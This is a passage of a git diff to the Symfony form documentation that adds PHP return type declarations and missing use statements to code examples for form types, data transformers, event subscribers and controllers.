+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'choices' => [
@@ -49,7 +49,7 @@ By convention they are stored in the ``src/Form/Type/`` directory::
             ]);
         }
 
-        public function getParent()
+        public function getParent(): string
         {
             return ChoiceType::class;
         }
@@ -82,7 +82,7 @@ Now you can add this form type when :doc:`creating Symfony forms </forms>`::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -168,7 +168,7 @@ in the postal address. For the moment, all fields are of type ``TextType``::
     {
         // ...
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('addressLine1', TextType::class, [
@@ -209,7 +209,7 @@ correctly rendered in any template::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -254,7 +254,7 @@ to define, validate and process their values::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // this defines the available options and their default values when
             // they are not configured explicitly when using the form type
@@ -293,7 +293,7 @@ Now you can configure these options when using the form type::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -320,7 +320,7 @@ The last step is to use these options when building the form::
     {
         // ...
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             // ...
 
@@ -473,7 +473,7 @@ defined by the form or be completely independent::
 
         // ...
 
-        public function buildView(FormView $view, FormInterface $form, array $options)
+        public function buildView(FormView $view, FormInterface $form, array $options): void
         {
             // pass the form type option directly to the template
             $view->vars['isExtendedAddress'] = $options['is_extended_address'];
diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 59b1c06e9fe..55d3d34776f 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -114,7 +114,7 @@ the database::
 
         // ...
 
-        public function getWebPath()
+        public function getWebPath(): string
         {
             // ... $webPath being the full image URL, to be used in templates
 
@@ -149,13 +149,13 @@ For example::
             return [FileType::class];
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // makes it legal for FileType fields to have an image_property option
             $resolver->setDefined(['image_property']);
         }
 
-        public function buildView(FormView $view, FormInterface $form, array $options)
+        public function buildView(FormView $view, FormInterface $form, array $options): void
         {
             if (isset($options['image_property'])) {
                 // this will be whatever class/entity is bound to your form (e.g. Media)
@@ -221,7 +221,7 @@ next to the file field. For example::
 
     class MediaType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('name', TextType::class)
diff --git a/form/data_based_validation.rst b/form/data_based_validation.rst
index 383883ba91f..226284db439 100644
--- a/form/data_based_validation.rst
+++ b/form/data_based_validation.rst
@@ -12,7 +12,7 @@ to an array callback::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => [
@@ -32,7 +32,7 @@ example).  You can also define whole logic inline by using a ``Closure``::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => function (FormInterface $form) {
@@ -56,7 +56,7 @@ of the entity as well you have to adjust the option as follows::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => function (FormInterface $form) {
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index 15e66ce54b3..c14eabd7683 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -98,7 +98,7 @@ in your form type::
         /**
          * @param Color|null $viewData
          */
-        public function mapDataToForms($viewData, $forms)
+        public function mapDataToForms($viewData, $forms): void
         {
             // there is no data yet, so nothing to prepopulate
             if (null === $viewData) {
@@ -119,7 +119,7 @@ in your form type::
             $forms['blue']->setData($viewData->getBlue());
         }
 
-        public function mapFormsToData($forms, &$viewData)
+        public function mapFormsToData($forms, &$viewData): void
         {
             /** @var FormInterface[] $forms */
             $forms = iterator_to_array($forms);
@@ -158,7 +158,7 @@ method::
 
     final class ColorType extends AbstractType implements DataMapperInterface
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('red', IntegerType::class, [
@@ -177,7 +177,7 @@ method::
             ;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // when creating a new color, the initial data should be null
             $resolver->setDefault('empty_data', null);
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 4a087a0aaff..aa0e88789bf 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -40,12 +40,12 @@ Suppose you have a Task form with a tags ``text`` type::
     // ...
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('tags', TextType::class);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -72,7 +72,7 @@ class::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('tags', TextType::class);
 
@@ -136,7 +136,7 @@ Start by setting up the text field like normal::
     // ...
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
@@ -144,7 +144,7 @@ Start by setting up the text field like normal::
             ;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -188,9 +188,8 @@ to and from the issue number and the ``Issue`` object::
          * Transforms an object (issue) to a string (number).
          *
          * @param  Issue|null $issue
-         * @return string
          */
-        public function transform($issue)
+        public function transform($issue): string
         {
             if (null === $issue) {
                 return '';
@@ -203,10 +202,9 @@ to and from the issue number and the ``Issue`` object::
          * Transforms a string (number) to an object (issue).
          *
          * @param  string $issueNumber
-         * @return Issue|null
          * @throws TransformationFailedException if object (issue) is not found.
          */
-        public function reverseTransform($issueNumber)
+        public function reverseTransform($issueNumber): ?Issue
         {
             // no issue number? It's optional, so that's ok
             if (!$issueNumber) {
@@ -273,7 +271,7 @@ and type-hint the new class::
             $this->transformer = $transformer;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
@@ -306,7 +304,7 @@ end-user error message in the data transformer using the
     {
         // ...
 
-        public function reverseTransform($issueNumber)
+        public function reverseTransform($issueNumber): ?Issue
         {
             // ...
 
@@ -394,19 +392,19 @@ First, create the custom field type class::
             $this->transformer = $transformer;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->addModelTransformer($this->transformer);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'invalid_message' => 'The selected issue does not exist',
             ]);
         }
 
-        public function getParent()
+        public function getParent(): string
         {
             return TextType::class;
         }
@@ -427,7 +425,7 @@ As long as you're using :ref:`autowire <services-autowire>` and
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index ef6897611ad..876ad3964b1 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -11,9 +11,10 @@ to detect when the form has been submitted. However, you can also use the
 control over when exactly your form is submitted and what data is passed to it::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function new(Request $request)
+    public function new(Request $request): Response
     {
         $task = new Task();
         $form = $this->createForm(TaskType::class, $task);
diff --git a/form/disabling_validation.rst b/form/disabling_validation.rst
index f23cc73dbbf..2844d0c865d 100644
--- a/form/disabling_validation.rst
+++ b/form/disabling_validation.rst
@@ -9,7 +9,7 @@ these cases you can set the ``validation_groups`` option to ``false``::
 
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => false,
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 69339480248..279b5b4118d 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -45,13 +45,13 @@ a bare form class looks like::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
             $builder->add('price');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Product::class,
@@ -92,7 +92,7 @@ creating that particular field is delegated to an event listener::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('price');
 
@@ -109,7 +109,7 @@ object is new (e.g. hasn't been persisted to the database). Based on that,
 the event listener might look like the following::
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
         $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) {
@@ -151,14 +151,14 @@ you can also move the logic for creating the ``name`` field to an
 
     class AddNameFieldSubscriber implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             // Tells the dispatcher that you want to listen on the form.pre_set_data
             // event and that the preSetData method should be called.
             return [FormEvents::PRE_SET_DATA => 'preSetData'];
         }
 
-        public function preSetData(FormEvent $event)
+        public function preSetData(FormEvent $event): void
         {
             $product = $event->getData();
             $form = $event->getForm();
@@ -179,7 +179,7 @@ Great! Now use that in your form class::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('price');
 
@@ -217,7 +217,7 @@ Using an event listener, your form might look like this::
 
     class FriendMessageFormType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('subject', TextType::class)
@@ -274,7 +274,7 @@ security helper to fill in the listener logic::
             $this->security = $security;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('subject', TextType::class)
@@ -337,10 +337,12 @@ and :doc:`tag it </service_container/tags>` with the ``form.type`` tag.
 In a controller, create the form like normal::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class FriendMessageController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $form = $this->createForm(FriendMessageFormType::class);
 
@@ -351,7 +353,7 @@ In a controller, create the form like normal::
 You can also  embed the form type into another form::
 
     // inside some other "form type" class
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder->add('message', FriendMessageFormType::class);
     }
@@ -384,7 +386,7 @@ sport like this::
 
     class SportMeetupType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('sport', EntityType::class, [
@@ -448,7 +450,7 @@ The type would now look like::
 
     class SportMeetupType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('sport', EntityType::class, [
@@ -515,11 +517,12 @@ your application. Assume that you have a sport meetup creation controller::
     use App\Form\Type\SportMeetupType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
     class MeetupController extends AbstractController
     {
-        public function create(Request $request)
+        public function create(Request $request): Response
         {
             $meetup = new SportMeetup();
             $form = $this->createForm(SportMeetupType::class, $meetup);
diff --git a/form/embedded.rst b/form/embedded.rst
index 9da8104b143..787580a41d1 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -46,12 +46,12 @@ Next, add a new ``category`` property to the ``Task`` class::
 
         // ...
 
-        public function getCategory()
+        public function getCategory(): ?Category
         {
             return $this->category;
         }
 
-        public function setCategory(Category $category = null)
+        public function setCategory(?Category $category)
         {
             $this->category = $category;
         }
@@ -76,12 +76,12 @@ create a form class so that a ``Category`` object can be modified by the user::
 
     class CategoryType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Category::class,
@@ -97,7 +97,7 @@ class::
     use App\Form\CategoryType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
diff --git a/form/events.rst b/form/events.rst
index 5620ec96f46..0f2e26e2775 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -308,7 +308,7 @@ callback for better readability::
     // ...
     class SubscriptionType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('username', TextType::class)
@@ -320,7 +320,7 @@ callback for better readability::
             ;
         }
 
-        public function onPreSetData(FormEvent $event)
+        public function onPreSetData(FormEvent $event): void
         {
             // ...
         }
@@ -347,7 +347,7 @@ Consider the following example of a form event subscriber::
 
     class AddEmailFieldListener implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 FormEvents::PRE_SET_DATA => 'onPreSetData',
@@ -355,7 +355,7 @@ Consider the following example of a form event subscriber::
             ];
         }
 
-        public function onPreSetData(FormEvent $event)
+        public function onPreSetData(FormEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();
@@ -367,7 +367,7 @@ Consider the following example of a form event subscriber::
             }
         }
 
-        public function onPreSubmit(FormEvent $event)
+        public function onPreSubmit(FormEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 405ffed53e4..cd1f66a7a8f 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -15,6 +15,7 @@ Let's start by creating a ``Task`` entity::
     namespace App\Entity;
 
     use Doctrine\Common\Collections\ArrayCollection;
+    use Doctrine\Common\Collections\Collection;
 
     class Task
     {
@@ -26,17 +27,17 @@ Let's start by creating a ``Task`` entity::
             $this->tags = new ArrayCollection();
         }
 
-        public function getDescription()
+        public function getDescription(): string
         {
             return $this->description;
         }
 
-        public function setDescription($description)
+        public function setDescription(string $description): void
         {
             $this->description = $description;
         }
 
-        public function getTags()
+        public function getTags(): Collection
         {
             return $this->tags;
         }
@@ -58,12 +59,12 @@ objects::
     {
         private $name;
 
-        public function getName()
+        public function getName(): string
         {
             return $this->name;
         }
 
-        public function setName($name)
+        public function setName(string $name): void
         {
             $this->name = $name;
         }
@@ -81,12 +82,12 @@ Then, create a form class so that a ``Tag`` object can be modified by the user::
 
     class TagType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Tag::class,
@@ -110,7 +111,7 @@ inside the task form itself::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('description');
 
@@ -120,7 +121,7 @@ inside the task form itself::
             ]);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -138,10 +139,11 @@ In your controller, you'll create a new form from the ``TaskType``::
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $task = new Task();
 
@@ -224,7 +226,7 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -367,12 +369,12 @@ for the tags in the ``Task`` class::
     {
         // ...
 
-        public function addTag(Tag $tag)
+        public function addTag(Tag $tag): void
         {
             $this->tags->add($tag);
         }
 
-        public function removeTag(Tag $tag)
+        public function removeTag(Tag $tag): void
         {
             // ...
         }
@@ -383,7 +385,7 @@ Next, add a ``by_reference`` option to the ``tags`` field and set it to ``false`
     // src/Form/TaskType.php
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -484,7 +486,7 @@ you will learn about next!).
         // src/Entity/Task.php
 
         // ...
-        public function addTag(Tag $tag)
+        public function addTag(Tag $tag): void
         {
             // for a many-to-many association:
             $tag->addTask($this);
@@ -501,7 +503,7 @@ you will learn about next!).
         // src/Entity/Tag.php
 
         // ...
-        public function addTask(Task $task)
+        public function addTask(Task $task): void
         {
             if (!$this->tasks->contains($task)) {
                 $this->tasks->add($task);
@@ -521,7 +523,7 @@ Start by adding the ``allow_delete`` option in the form Type::
     // src/Form/TaskType.php
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -540,7 +542,7 @@ Now, you need to put some code into the ``removeTag()`` method of ``Task``::
     {
         // ...
 
-        public function removeTag(Tag $tag)
+        public function removeTag(Tag $tag): void
         {
             $this->tags->removeElement($tag);
         }
@@ -617,52 +619,56 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     is handling the "update" of your Task::
 
         // src/Controller/TaskController.php
+
+        // ...
         use App\Entity\Task;
         use Doctrine\Common\Collections\ArrayCollection;
 
-        // ...
-        public function edit($id, Request $request, EntityManagerInterface $entityManager)
+        class TaskController extends AbstractController
         {
-            if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
-                throw $this->createNotFoundException('No task found for id '.$id);
-            }
+            public function edit($id, Request $request, EntityManagerInterface $entityManager): Response
+            {
+                if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
+                    throw $this->createNotFoundException('No task found for id '.$id);
+                }
 
-            $originalTags = new ArrayCollection();
+                $originalTags = new ArrayCollection();
 
-            // Create an ArrayCollection of the current Tag objects in the database
-            foreach ($task->getTags() as $tag) {
-                $originalTags->add($tag);
-            }
+                // Create an ArrayCollection of the current Tag objects in the database
+                foreach ($task->getTags() as $tag) {
+                    $originalTags->add($tag);
+                }
 
-            $editForm = $this->createForm(TaskType::class, $task);
+                $editForm = $this->createForm(TaskType::class, $task);
 
-            $editForm->handleRequest($request);
+                $editForm->handleRequest($request);
 
-            if ($editForm->isSubmitted() && $editForm->isValid()) {
-                // remove the relationship between the tag and the Task
-                foreach ($originalTags as $tag) {
-                    if (false === $task->getTags()->contains($tag)) {
-                        // remove the Task from the Tag
-                        $tag->getTasks()->removeElement($task);
+                if ($editForm->isSubmitted() && $editForm->isValid()) {
+                    // remove the relationship between the tag and the Task
+                    foreach ($originalTags as $tag) {
+                        if (false === $task->getTags()->contains($tag)) {
+                            // remove the Task from the Tag
+                            $tag->getTasks()->removeElement($task);
 
-                        // if it was a many-to-one relationship, remove the relationship like this
-                        // $tag->setTask(null);
+                            // if it was a many-to-one relationship, remove the relationship like this
+                            // $tag->setTask(null);
 
-                        $entityManager->persist($tag);
+                            $entityManager->persist($tag);
 
-                        // if you wanted to delete the Tag entirely, you can also do that
-                        // $entityManager->remove($tag);
+                            // if you wanted to delete the Tag entirely, you can also do that
+                            // $entityManager->remove($tag);
+                        }
                     }
-                }
 
-                $entityManager->persist($task);
-                $entityManager->flush();
+                    $entityManager->persist($task);
+                    $entityManager->flush();
 
-                // redirect back to some edit page
-                return $this->redirectToRoute('task_edit', ['id' => $id]);
-            }
+                    // redirect back to some edit page
+                    return $this->redirectToRoute('task_edit', ['id' => $id]);
+                }
 
-            // render some form template
+                // ... render some form template
+            }
         }
 
     As you can see, adding and removing the elements correctly can be tricky.
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 3811b042c28..1b5a3594a2d 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -266,7 +266,7 @@ form. You can also define this value explicitly with the ``block_name`` option::
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -290,7 +290,7 @@ field without having to :doc:`create a custom form type </form/create_custom_fie
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder->add('name', TextType::class, [
             'block_prefix' => 'wrapped_text',
@@ -316,7 +316,7 @@ following complex example where a ``TaskManagerType`` has a collection of
 
     class TaskManagerType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             // ...
             $builder->add('taskLists', CollectionType::class, [
@@ -328,7 +328,7 @@ following complex example where a ``TaskManagerType`` has a collection of
 
     class TaskListType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             // ...
             $builder->add('tasks', CollectionType::class, [
@@ -339,7 +339,7 @@ following complex example where a ``TaskManagerType`` has a collection of
 
     class TaskType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             $builder->add('name');
             // ...
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 3321ab2153a..f4161a21111 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -52,7 +52,7 @@ Start with building two forms for these entities, ``CompanyType`` and ``Customer
 
     class CompanyType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('name', TextType::class)
@@ -71,7 +71,7 @@ Start with building two forms for these entities, ``CompanyType`` and ``Customer
 
     class CustomerType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('firstName', TextType::class)
@@ -94,7 +94,7 @@ for that::
 
     class LocationType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('address', TextareaType::class)
@@ -103,7 +103,7 @@ for that::
                 ->add('country', TextType::class);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'inherit_data' => true,
@@ -131,7 +131,7 @@ Finally, make this work by adding the location form to your two original forms::
     use App\Entity\Company;
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -148,7 +148,7 @@ Finally, make this work by adding the location form to your two original forms::
     use App\Entity\Customer;
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index f990aad4115..49488e524ba 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -40,22 +40,24 @@ Start by creating the class and these methods. Next, you'll learn how to fill ea
     namespace App\Form\TypeGuesser;
 
     use Symfony\Component\Form\FormTypeGuesserInterface;
+    use Symfony\Component\Form\Guess\TypeGuess;
+    use Symfony\Component\Form\Guess\ValueGuess;
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType($class, $property)
+        public function guessType($class, $property): ?TypeGuess
         {
         }
 
-        public function guessRequired($class, $property)
+        public function guessRequired($class, $property): ?ValueGuess
         {
         }
 
-        public function guessMaxLength($class, $property)
+        public function guessMaxLength($class, $property): ?ValueGuess
         {
         }
 
-        public function guessPattern($class, $property)
+        public function guessPattern($class, $property): ?ValueGuess
         {
         }
     }
@@ -94,7 +96,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType($class, $property)
+        public function guessType($class, $property): ?TypeGuess
         {
             $annotations = $this->readPhpDocAnnotations($class, $property);
 
@@ -129,7 +131,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
             }
         }
 
-        protected function readPhpDocAnnotations($class, $property)
+        protected function readPhpDocAnnotations(string $class, string $property): array
         {
             $reflectionProperty = new \ReflectionProperty($class, $property);
             $phpdoc = $reflectionProperty->getDocComment();
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index 6a567286094..c2cba15ad7f 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -9,7 +9,7 @@ form class. This empty data set would be used if you submit your form, but
 haven't called ``setData()`` on your form or passed in data when you created
 your form. For example, in a controller::
 
-    public function index()
+    public function index(): Response
     {
         $blog = ...;
 
@@ -61,7 +61,7 @@ that constructor with no arguments::
         }
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'empty_data' => new Blog($this->someDependency),
@@ -96,7 +96,7 @@ The closure must accept a ``FormInterface`` instance as the first argument::
     use Symfony\Component\OptionsResolver\OptionsResolver;
     // ...
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'empty_data' => function (FormInterface $form) {
diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index e497a7556df..ad741fbdb3a 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -23,11 +23,7 @@ parameter::
             $this->service2 = $service2;
         }
 
-        /**
-         * @param FormInterface $form
-         * @return array
-         */
-        public function __invoke(FormInterface $form)
+        public function __invoke(FormInterface $form): array
         {
             $groups = [];
 
@@ -56,7 +52,7 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
         }
 
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'validation_groups' => $this->groupResolver,
diff --git a/form/validation_groups.rst b/form/validation_groups.rst
index 2dfe2889de9..a215ed02aba 100644
--- a/form/validation_groups.rst
+++ b/form/validation_groups.rst
@@ -20,7 +20,7 @@ following to the ``configureOptions()`` method::
 
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             // ...
diff --git a/form/without_class.rst b/form/without_class.rst
index 50efc1dbcc7..85838d77ce9 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -12,28 +12,35 @@ But sometimes, you may want to use a form without a class, and get back an
 array of the submitted data. The ``getData()`` method allows you to do
 exactly that::
 
-    // make sure you've imported the Request namespace above the class
+    // src/Controller/ContactController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function contact(Request $request)
+    class ContactController extends AbstractController
     {
-        $defaultData = ['message' => 'Type your message here'];
-        $form = $this->createFormBuilder($defaultData)
-            ->add('name', TextType::class)
-            ->add('email', EmailType::class)
